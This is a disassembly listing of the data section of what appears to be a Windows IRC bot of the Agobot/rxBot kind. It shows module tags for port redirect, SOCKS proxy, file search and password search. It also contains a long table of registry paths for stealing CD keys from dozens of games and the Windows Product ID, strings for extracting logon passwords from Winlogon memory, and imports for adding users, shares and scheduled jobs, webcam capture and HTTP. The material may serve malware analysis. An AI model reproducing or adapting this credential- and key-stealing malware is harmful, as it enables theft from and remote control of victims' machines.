aFailedToStartC	db '   Failed to start client thread, error: <%d>.',0
unk_42B584	db    2			; DATA XREF: sub_407BDE+E1o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	65h, 64h
		db  69h	; i
		db 72h,	65h, 63h
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aClientConnecti	db '   Client connection from IP: %s:%d, Server thread: %d.',0
		align 4
unk_42B5DC	db    2			; DATA XREF: ___:00407F10o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	65h, 64h
		db  69h	; i
		db 72h,	65h, 63h
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStar_3	db '   Failed to start connection thread, error: <%d>.',0
unk_42B62C	db    2			; DATA XREF: ___:00407E47o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	65h, 64h
		db  69h	; i
		db 72h,	65h, 63h
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aClientConnec_0	db '   Client connection to IP: %s:%d, Server thread: %d.',0
		align 10h
unk_42B680	db    2			; DATA XREF: sub_407FEA+1B2o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Fh, 63h
		db  6Bh	; k
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToStar_4	db 'Failed to start server on Port %d.',0
		align 10h
unk_42B6C0	db    2			; DATA XREF: sub_407FEA+18Fo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Fh, 63h
		db  6Bh	; k
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToStar_5	db 'Failed to start client thread, error: <%d>.',0
unk_42B708	db    2			; DATA XREF: sub_407FEA+114o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Fh, 63h
		db  6Bh	; k
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aClientConnec_1	db 'Client connection from IP: %s:%d, Server thread: %d.',0
		align 4
unk_42B75C	db    2			; DATA XREF: sub_407FEA+A8o
					; sub_40EE72+5E22o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Fh, 63h
		db  6Bh	; k
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aServerStarte_1	db 'Server started on: %s:%d.',0
		align 4
unk_42B794	db    2			; DATA XREF: sub_407FEA+3FEo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Fh, 63h
		db  6Bh	; k
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorFailedToC	db 'Error: Failed to connect to target, returned: <%d>.',0
unk_42B7E4	db    2			; DATA XREF: sub_407FEA+38Fo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Fh, 63h
		db  6Bh	; k
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorFailedToO	db 'Error: Failed to open socket(), returned: <%d>.',0
unk_42B830	db    2			; DATA XREF: sub_407FEA+2F7o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Fh, 63h
		db  6Bh	; k
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aAuthentication	db 'Authentication failed. Remote userid: %s != %s.',0
aDisplay	db 'DISPLAY',0          ; DATA XREF: sub_4085B3+11o
aWindow		db 'Window',0           ; DATA XREF: sub_4087EE+23o
					; sub_4089E7+26o
		align 10h
		dd 80000001h
off_42B894	dd offset aSoftwareValveC ; DATA XREF: sub_408C26+Cr
					; sub_408C26+21o
					; "Software\\Valve\\CounterStrike\\Settings"
; ---------------------------------------------------------------------------
		push	500042CAh
		retf	42h
; ---------------------------------------------------------------------------
dword_42B8A0	dd 2 dup(0)		; DATA XREF: sub_408C26+26o
		dd 80000001h, 42CA28h, 42CA1Ch,	42CA0Ch, 2 dup(0)
		dd 80000001h, 42C9ECh, 42C9E8h,	42C9D4h, 2 dup(0)
		dd 80000001h, 42C9B0h, 42C9E8h,	42C9A4h, 2 dup(0)
		dd 80000001h, 42C980h, 42C978h,	42C964h, 2 dup(0)
		dd 80000001h, 42C950h, 42C940h,	42C924h, 2 dup(0)
		dd 80000001h, 42C8E0h, 42CA68h,	42C8CCh, 2 dup(0)
		dd 80000002h, 42C8A0h, 42C894h,	42C874h, 2 dup(0)
		dd 80000002h, 42C840h, 42CA68h,	42C828h, 2 dup(0)
		dd 80000002h, 42C7F4h, 42CA68h,	42C7DCh, 2 dup(0)
		dd 80000002h, 42C7C4h, 42CA68h,	42C7ACh, 2 dup(0)
		dd 80000002h, 42C770h, 43C80Ch,	42C760h, 2 dup(0)
		dd 80000002h, 42C728h, 43C80Ch,	42C714h, 2 dup(0)
		dd 80000002h, 42C6C8h, 43C80Ch,	42C6A8h, 2 dup(0)
		dd 80000002h, 42C658h, 43C80Ch,	42C62Ch, 2 dup(0)
		dd 80000002h, 42C5F0h, 43C80Ch,	42C5DCh, 2 dup(0)
		dd 80000002h, 42C5A4h, 43C80Ch,	42C594h, 2 dup(0)
		dd 80000002h, 42C544h, 43C80Ch,	42C518h, 2 dup(0)
		dd 80000002h, 42C4D8h, 43C80Ch,	42C4BCh, 2 dup(0)
		dd 80000002h, 42C48Ch, 43C80Ch,	42C46Ch, 2 dup(0)
		dd 80000002h, 42C430h, 43C80Ch,	42C41Ch, 2 dup(0)
		dd 80000002h, 42C3D4h, 43C80Ch,	42C3B4h, 2 dup(0)
; ---------------------------------------------------------------------------
		add	al, [eax]
		add	byte_42C360[eax], al
		or	al, 0C8h
		inc	ebx
		add	[eax], dh
		retn
; ---------------------------------------------------------------------------
		dw 42h
		dd 2 dup(0)
		dd 80000002h, 42C2E0h, 43C80Ch,	42C2B4h, 2 dup(0)
		dd 80000002h, 42C274h, 42C26Ch,	42C24Ch, 2 dup(0)
		dd 80000002h, 42C208h, 43C80Ch,	42C1ECh, 2 dup(0)
		dd 80000002h, 42C1A0h, 43C80Ch,	42C17Ch, 2 dup(0)
		dd 80000002h, 42C148h, 43C80Ch,	42C13Ch, 2 dup(0)
		dd 80000002h, 42C108h, 43C80Ch,	42C0FCh, 2 dup(0)
		dd 80000002h, 42C0C8h, 43C80Ch,	42C0BCh, 2 dup(0)
		dd 80000002h, 42C088h, 43C80Ch,	42C07Ch, 2 dup(0)
		dd 80000002h, 42C040h, 43C80Ch,	42C02Ch, 2 dup(0)
		dd 80000002h, 42BFF0h, 43C80Ch,	42BFDCh, 2 dup(0)
		dd 80000002h, 42BFACh, 42CA68h,	42BF90h, 2 dup(0)
		dd 80000002h, 42BF70h, 42BF68h,	42BF44h, 2 dup(0)
		dd 80000002h, 42BF28h, 42BF68h,	42BF08h, 2 dup(0)
		dd 80000002h, 42BEE8h, 42BF68h,	42BEC4h, 2 dup(0)
		dd 80000002h, 42BEACh, 42BF68h,	42BEA8h, 2 dup(0)
		dd 80000002h, 42BE8Ch, 42BE7Ch,	42BE74h, 2 dup(0)
		dd 80000002h, 42BE40h, 42BE3Ch,	42BE24h, 2 dup(0)
		dd 80000002h, 42BDE8h, 42BDDCh,	42BDB4h, 42BDA4h, 42BD90h
		dd 80000002h, 42BD6Ch, 42BD60h,	42BD4Ch, 42BD3Ch, 42BD34h
		dd 80000002h, 42BD6Ch, 42BD60h,	42BD08h, 42BD3Ch, 42BD00h
		dd 80000002h, 42BD6Ch, 42BD60h,	42BCD0h, 42BD3Ch, 42BCC8h
		dd 6 dup(0)
		dd 3379654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
		dd 28207374h, 64726F48h, 6F207365h, 68742066h, 6E552065h
		dd 64726564h, 296B7261h, 0
		dd 3279654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
		dd 28207374h, 64616853h, 2073776Fh, 5520666Fh, 6572646Eh
		dd 6469746Eh, 2965h, 3179654Bh,	3Dh, 636E776Eh,	79656B64h
		dd 696E692Eh, 0
aNeverwinterNig	db 'Neverwinter Nights',0
		align 10h
aLocation	db 'Location',0
		align 4
aSoftwareBiowar	db 'Software\BioWare\NWN\Neverwinter',0
		align 10h
aMtkwftmkemfew3	db 'mtkwftmkemfew3p3b7',0
		align 4
aBaseMpSof2key	db 'base\mp\sof2key',0
aSoldierOfFortu	db 'Soldier of Fortune II - Double Helix',0
		align 4
aInstallpath	db 'InstallPath',0
		db 53h
aOftwareActivis	db 'oftware\Activision\Soldier of Fortune II - Double Helix',0
		align 4
aHiddenDangerou	db 'Hidden & Dangerous 2',0
		align 4
aKey		db 'key',0              ; DATA XREF: ___:004312F0o
		db 53h
aOftwareIllusio	db 'oftware\Illusion Softworks\Hidden & Dangerous 2',0
		align 4
aChrome		db 'Chrome',0
		align 4
aSerialnumber	db 'SerialNumber',0
		align 4
		db 53h
aOftwareTechlan	db 'oftware\Techland\Chrome',0
		align 4
		dd offset word_584F4E
aSoftwareWestwo	db 'Software\Westwood\NOX',0
		align 4
aCommandAndConq	db 'Command and Conquer: Red Alert 2',0
		align 4
		db 53h
aOftwareWestwoo	db 'oftware\Westwood\Red Alert 2',0
		align 4
aCommandAndCo_0	db 'Command and Conquer: Red Alert',0
		align 4
		db 53h
aOftwareWestw_0	db 'oftware\Westwood\Red Alert',0
aCommandAndCo_1	db 'Command and Conquer: Tiberian Sun',0
		align 4
aSerial		db 'Serial',0
		align 10h
		db 53h
aOftwareWestw_1	db 'oftware\Westwood\Tiberian Sun',0
		align 10h
aRainbowSixIiiR	db 'Rainbow Six III RavenShield',0
		db 53h
aOftwareRedStor	db 'oftware\Red Storm Entertainment\RAVENSHIELD',0
		align 4
aNascarRacing20	db 'Nascar Racing 2003',0
		align 10h
		db 53h
aOftwareElectro	db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0
		align 4
aNascarRacing_0	db 'Nascar Racing 2002',0
		align 10h
		db 53h
aOftwareElect_0	db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0
		align 4
aNhl2003	db 'NHL 2003',0
		align 4
		db 53h
aOftwareElect_1	db 'oftware\Electronic Arts\EA Sports\NHL 2003\ergc',0
		align 4
aNhl2002	db 'NHL 2002',0
		align 4
		db 53h
aOftwareElect_2	db 'oftware\Electronic Arts\EA Sports\NHL 2002\ergc',0
		align 4
aFifa2003	db 'FIFA 2003',0
		align 4
		db 53h
aOftwareElect_3	db 'oftware\Electronic Arts\EA Sports\FIFA 2003\ergc',0
		align 4
aFifa2002	db 'FIFA 2002',0
		align 4
		db 53h
aOftwareElect_4	db 'oftware\Electronic Arts\EA Sports\FIFA 2002\ergc',0
		align 4
aShogunTotalWar	db 'Shogun: Total War: Warlord Edition',0
		align 10h
		db 53h
aOftwareElect_5	db 'oftware\Electronic Arts\EA GAMES\Shogun Total War - Warlord Editi'
		db 'on\ergc',0
		align 4
aNeedForSpeedUn	db 'Need For Speed: Underground',0
		db 53h
aOftwareElect_6	db 'oftware\Electronic Arts\EA GAMES\Need For Speed Underground\ergc',0
		align 4
aNeedForSpeedHo	db 'Need For Speed Hot Pursuit 2',0
		align 4
aErgc		db 'ergc',0
		align 4
		db 53h
aOftwareElect_7	db 'oftware\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0
		align 4
aMedalOfHonorAl	db 'Medal of Honor: Allied Assault: Spearhead',0
		align 10h
		db 53h
aOftwareElect_8	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Sp'
		db 'earhead\ergc',0
		align 10h
aMedalOfHonor_0	db 'Medal of Honor: Allied Assault: Breakthrough',0
		align 10h
byte_42C360	db 53h			; DATA XREF: ___:0042BAA2w
aOftwareElect_9	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Br'
		db 'eakthrough\ergc',0
		align 4
aMedalOfHonor_1	db 'Medal of Honor: Allied Assault',0
		align 4
		db 53h
aOftwareElec_10	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\er'
		db 'gc',0
		align 4
aGlobalOperatio	db 'Global Operations',0
		align 10h
		db 53h
aOftwareElec_11	db 'oftware\Electronic Arts\EA GAMES\Global Operations\ergc',0
		align 4
aCommandAndCo_2	db 'Command and Conquer: Generals',0
		align 4
		db 53h
aOftwareElec_12	db 'oftware\Electronic Arts\EA GAMES\Generals\ergc',0
aJamesBond007Ni	db 'James Bond 007: Nightfire',0
		align 4
		db 53h
aOftwareElec_13	db 'oftware\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0
aCommandAndCo_3	db 'Command and Conquer: Generals (Zero Hour)',0
		align 4
		db 53h
aOftwareElec_14	db 'oftware\Electronic Arts\EA GAMES\Command and Conquer Generals Zer'
		db 'o Hour\ergc',0
		align 4
aBlackAndWhite	db 'Black and White',0
		db 53h
aOftwareElec_15	db 'oftware\Electronic Arts\EA GAMES\Black and White\ergc',0
		align 4
aBattlefieldVie	db 'Battlefield Vietnam',0
		db 53h
aOftwareElec_16	db 'oftware\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0
		align 4
aBattlefield194	db 'Battlefield 1942 (Secret Weapons of WWII)',0
		align 4
		db 53h
aOftwareElec_17	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons '
		db 'of WWII\ergc',0
		align 4
aBattlefield1_0	db 'Battlefield 1942 (Road To Rome)',0
		db 53h
aOftwareElec_18	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Rom'
		db 'e\ergc',0
		align 4
aBattlefield1_1	db 'Battlefield 1942',0
		align 4
		db 53h
aOftwareElec_19	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0
aFreedomForce	db 'Freedom Force',0
		align 10h
		db 53h
aOftwareElec_20	db 'oftware\Electronic Arts\EA Distribution\Freedom Force\ergc',0
aIgi2CovertStri	db 'IGI 2: Covert Strike',0
		align 4
		db 53h
aOftwareIgi2Ret	db 'oftware\IGI 2 Retail',0
		align 4
aUnrealTourname	db 'Unreal Tournament 2004',0
		align 4
		db 53h
aOftwareUnrealT	db 'oftware\Unreal Technology\Installed Apps\UT2004',0
		align 4
aUnrealTourna_0	db 'Unreal Tournament 2003',0
		align 10h
		db 53h
aOftwareUnrea_0	db 'oftware\Unreal Technology\Installed Apps\UT2003',0
		align 4
aMicrosoftWindo	db 'Microsoft Windows Product ID',0
		align 4
aProductid	db 'ProductId',0
		align 10h
		db 53h
aOftwareMicroso	db 'oftware\Microsoft\Windows\CurrentVersion',0
		align 4
aSoldiersOfAnar	db 'Soldiers Of Anarchy',0
aSoftwareSilver	db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0
		align 4
aLegendsOfMight	db 'Legends of Might and Magic',0
		align 10h
aCustomernumber	db 'CustomerNumber',0
		align 10h
aSoftware3d0Sta	db 'Software\3d0\Status',0
aIndustryGiant2	db 'Industry Giant 2',0
		align 4
aPrvkey		db 'prvkey',0
		align 10h
aSoftwareJowood	db 'Software\JoWooD\InstalledGames\IG2',0
		align 4
aHalfLife	db 'Half-Life',0
		align 10h
aSoftwareValveH	db 'Software\Valve\Half-Life\Settings',0
		align 4
aGunmanChronicl	db 'Gunman Chronicles',0
		align 4
aKey_0		db 'Key',0
aSoftwareValveG	db 'Software\Valve\Gunman\Settings',0
		align 4
aTheGladiators	db 'The Gladiators',0
		align 4
aRegnumber	db 'RegNumber',0
		align 4
aSoftwareEugenS	db 'Software\Eugen Systems\The Gladiators',0
		align 10h
aCounterStrikeR	db 'Counter-Strike (Retail)',0
aCdkey		db 'CDKey',0
		align 10h
aSoftwareValveC	db 'Software\Valve\CounterStrike\Settings',0 ; DATA XREF: ___:off_42B894o
		align 4
asc_42CA98:				; DATA XREF: sub_408C26+E9o
					; sub_408C26+F4o
		unicode	0, <=>,0
aR:					; DATA XREF: sub_408C26+8Fo
					; sub_40EE72:loc_413645o
		unicode	0, <r>,0
aSS_3		db '%s\%s',0            ; DATA XREF: sub_408C26+7Eo
					; sub_408EE5+45o ...
		align 4
aSCdKeyS_	db '%s CD Key: (%s).',0 ; DATA XREF: sub_408C26+2Bo
		align 4
unk_42CABC	db    2			; DATA XREF: sub_408DCA+C8o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 66h,	69h, 6Ch
		db  65h	; e
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFilesFoundD_	db '  Files found: %d.',0
unk_42CAEC	db    2			; DATA XREF: sub_408DCA+5Co
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 66h,	69h, 6Ch
		db  65h	; e
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSearchingForFi	db '  Searching for file: %s.',0
		align 4
aFoundSS	db ' Found: %s\%s',0    ; DATA XREF: sub_408EE5+107o
		align 4
aS_3		db '%s\*',0             ; DATA XREF: sub_408EE5+1Ao
		align 4
unk_42CB3C	db    2			; DATA XREF: sub_409037:loc_4091B0o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 70h,	61h, 73h
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToEnable	db '   Failed to enable Debug Privilege.',0
		align 10h
unk_42CB80	db    2			; DATA XREF: sub_409037:loc_409183o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 70h,	61h, 73h
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aUnableToFindWi	db '   Unable to find Winlogon Process ID.',0
unk_42CBC4	db    2			; DATA XREF: sub_409037:loc_40917Co
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 70h,	61h, 73h
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aUnableToFindTh	db '   Unable to find the password in memory.',0
		align 4
unk_42CC0C	db    2			; DATA XREF: sub_409037+117o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 70h,	61h, 73h
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aTheWindowsLogo	db '   The Windows logon (Pid: <%d>) information is: Domain: \\%S, Us'
		db 'er: (%S/(no password)).',0
		align 4
off_42CC84	dd offset byte_530055	; DATA XREF: sub_409037+DCo
		dd offset byte_520045
		dd offset dword_4F0044
		dd offset loc_41004B+2
		dd offset byte_4E0049
		dd 0
off_42CC9C	dd offset byte_530055	; DATA XREF: sub_409037+CEo
		dd offset byte_520045
		dd offset loc_41004B+3
		dd offset byte_45004D
		align 10h
aRtlrundecodeun	db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_409037+9Ao
		align 4
aRtldestroyquer	db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_409037+8Do
		align 4
aRtlqueryproces	db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_409037+80o
aRtlcreatequery	db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_409037+73o
		align 4
aNtquerysystemi	db 'NtQuerySystemInformation',0 ; DATA XREF: sub_409037+68o
		align 10h
aNtdll_dll	db 'NTDLL.DLL',0        ; DATA XREF: sub_409037+55o
		align 4
aSedebugprivile	db 'SeDebugPrivilege',0 ; DATA XREF: sub_409037+40o
					; sub_409037+161o ...
		align 10h
unk_42CD60	db    2			; DATA XREF: sub_409037+35o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 70h,	61h, 73h
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aOnlySupportedO	db '   Only supported on Windows NT/2000.',0
		align 4
aMsgina		db 'MSGINA',0           ; DATA XREF: sub_409209+13Eo
		align 4
aNwgina		db 'NWGINA',0           ; DATA XREF: sub_409209+123o
		align 4
aWinlogon	db 'WINLOGON',0         ; DATA XREF: sub_409209+AFo
		align 10h
unk_42CDC0	db    2			; DATA XREF: sub_40966F+70o
					; sub_409706+C7o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 70h,	61h, 73h
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aTheWindowsLo_0	db '   The Windows logon (Pid: <%d>) information is: Domain: \\%S, Us'
		db 'er: (%S/%S).',0
		align 4
unk_42CE2C	db    2			; DATA XREF: sub_409706+E1o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 70h,	61h, 73h
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aTheWindowsLo_1	db '   The Windows logon (Pid: <%d>) information is: Domain: \\%S, Us'
		db 'er: (%S/(N/A)).',0
		align 4
aCapgetdriverde	db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_40981F+C50o
		align 4
aCapcreatecaptu	db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_40981F+C48o
aAvicap32_dll	db 'avicap32.dll',0     ; DATA XREF: sub_40981F:loc_40A45Ao
		align 10h
aSqldisconnect	db 'SQLDisconnect',0    ; DATA XREF: sub_40981F+BE6o
		align 10h
aSqlfreehandle	db 'SQLFreeHandle',0    ; DATA XREF: sub_40981F+BD9o
		align 10h
aSqlallochandle	db 'SQLAllocHandle',0   ; DATA XREF: sub_40981F+BCCo
		align 10h
aSqlexecdirect	db 'SQLExecDirect',0    ; DATA XREF: sub_40981F+BBFo
		align 10h
aSqlsetenvattr	db 'SQLSetEnvAttr',0    ; DATA XREF: sub_40981F+BB2o
		align 10h
aSqldriverconne	db 'SQLDriverConnect',0 ; DATA XREF: sub_40981F+BAAo
		align 4
aOdbc32_dll	db 'odbc32.dll',0       ; DATA XREF: sub_40981F:loc_40A3BCo
		align 10h
aShchangenotify	db 'SHChangeNotify',0   ; DATA XREF: sub_40981F+B68o
		align 10h
aShellexecutea	db 'ShellExecuteA',0    ; DATA XREF: sub_40981F+B60o
		align 10h
aShell32_dll	db 'shell32.dll',0      ; DATA XREF: sub_40981F:loc_40A372o
aWnetcancelco_0	db 'WNetCancelConnection2W',0 ; DATA XREF: sub_40981F+B0Eo
		align 4
aWnetcancelconn	db 'WNetCancelConnection2A',0 ; DATA XREF: sub_40981F+B01o
		align 4
aWnetaddconne_0	db 'WNetAddConnection2W',0 ; DATA XREF: sub_40981F+AF4o
aWnetaddconnect	db 'WNetAddConnection2A',0 ; DATA XREF: sub_40981F+AECo
aMpr_dll	db 'mpr.dll',0          ; DATA XREF: sub_40981F:loc_40A2FEo
aDeleteipnetent	db 'DeleteIpNetEntry',0 ; DATA XREF: sub_40981F+AAAo
		align 10h
aGetipnettable	db 'GetIpNetTable',0    ; DATA XREF: sub_40981F+AA2o
		align 10h
aIphlpapi_dll	db 'iphlpapi.dll',0     ; DATA XREF: sub_40981F:loc_40A2B4o
		align 10h
aDnsflushreso_0	db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_40981F+A60o
		align 10h
aDnsflushresolv	db 'DnsFlushResolverCache',0 ; DATA XREF: sub_40981F+A58o
		align 4
aDnsapi_dll	db 'dnsapi.dll',0       ; DATA XREF: sub_40981F:loc_40A26Ao
		align 4
aNetmessagebuff	db 'NetMessageBufferSend',0 ; DATA XREF: sub_40981F+9CEo
		align 4
aNetusergetinfo	db 'NetUserGetInfo',0   ; DATA XREF: sub_40981F+9C1o
		align 4
aNetuserenum	db 'NetUserEnum',0      ; DATA XREF: sub_40981F+9B4o
aNetuserdel	db 'NetUserDel',0       ; DATA XREF: sub_40981F+9A7o
		align 4
aNetuseradd	db 'NetUserAdd',0       ; DATA XREF: sub_40981F+99Ao
		align 10h
aNetremotetod	db 'NetRemoteTOD',0     ; DATA XREF: sub_40981F+98Do
		align 10h
aNetapibufferfr	db 'NetApiBufferFree',0 ; DATA XREF: sub_40981F+980o
		align 4
aNetschedulejob	db 'NetScheduleJobAdd',0 ; DATA XREF: sub_40981F+973o
		align 4
aNetshareenum	db 'NetShareEnum',0     ; DATA XREF: sub_40981F+966o
		align 4
aNetsharedel	db 'NetShareDel',0      ; DATA XREF: sub_40981F+959o
aNetshareadd	db 'NetShareAdd',0      ; DATA XREF: sub_40981F+951o
aNetapi32_dll	db 'netapi32.dll',0     ; DATA XREF: sub_40981F:loc_40A15Fo
		align 10h
aIcmpsendecho	db 'IcmpSendEcho',0     ; DATA XREF: sub_40981F+903o
		align 10h
aIcmpclosehandl	db 'IcmpCloseHandle',0  ; DATA XREF: sub_40981F+8F6o
aIcmpcreatefile	db 'IcmpCreateFile',0   ; DATA XREF: sub_40981F+8EEo
		align 10h
aIcmp_dll	db 'icmp.dll',0         ; DATA XREF: sub_40981F:loc_40A100o
		align 4
aMozilla4_0Comp	db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_40981F+8B4o
		align 4
aInternetcloseh	db 'InternetCloseHandle',0 ; DATA XREF: sub_40981F+842o
aInternetreadfi	db 'InternetReadFile',0 ; DATA XREF: sub_40981F+835o
		align 10h
aInternetcracku	db 'InternetCrackUrlA',0 ; DATA XREF: sub_40981F+828o
		align 4
aInternetopenur	db 'InternetOpenUrlA',0 ; DATA XREF: sub_40981F+81Bo
		align 4
aInternetopena	db 'InternetOpenA',0    ; DATA XREF: sub_40981F+80Eo
		align 4
aInternetconnec	db 'InternetConnectA',0 ; DATA XREF: sub_40981F+801o
		align 4
aHttpsendreques	db 'HttpSendRequestA',0 ; DATA XREF: sub_40981F+7F4o
		align 10h
aHttpopenreques	db 'HttpOpenRequestA',0 ; DATA XREF: sub_40981F+7E7o
		align 4
aInternetgetc_0	db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_40981F+7DAo
aInternetgetcon	db 'InternetGetConnectedState',0 ; DATA XREF: sub_40981F+7D2o
		align 4
aWininet_dll	db 'wininet.dll',0      ; DATA XREF: sub_40981F:loc_409FE0o
aClosesocket	db 'closesocket',0      ; DATA XREF: sub_40981F+688o
aGetpeername	db 'getpeername',0      ; DATA XREF: sub_40981F+67Bo
aGethostbyaddr	db 'gethostbyaddr',0    ; DATA XREF: sub_40981F+66Eo
		align 10h
aGethostbyname	db 'gethostbyname',0    ; DATA XREF: sub_40981F+661o
		align 10h
aGethostname	db 'gethostname',0      ; DATA XREF: sub_40981F+654o
aGetsockname	db 'getsockname',0      ; DATA XREF: sub_40981F+647o
aSetsockopt	db 'setsockopt',0       ; DATA XREF: sub_40981F+63Ao
		align 4
aAccept		db 'accept',0           ; DATA XREF: sub_40981F+62Do
					; ___:0042FA44o
		align 4
aListen		db 'listen',0           ; DATA XREF: sub_40981F+620o
		align 4
aSelect		db 'select',0           ; DATA XREF: sub_40981F+613o
		align 4
aBind		db 'bind',0             ; DATA XREF: sub_40981F+60Bo
		align 4
aRecvfrom	db 'recvfrom',0         ; DATA XREF: sub_40981F+5F9o
		align 10h
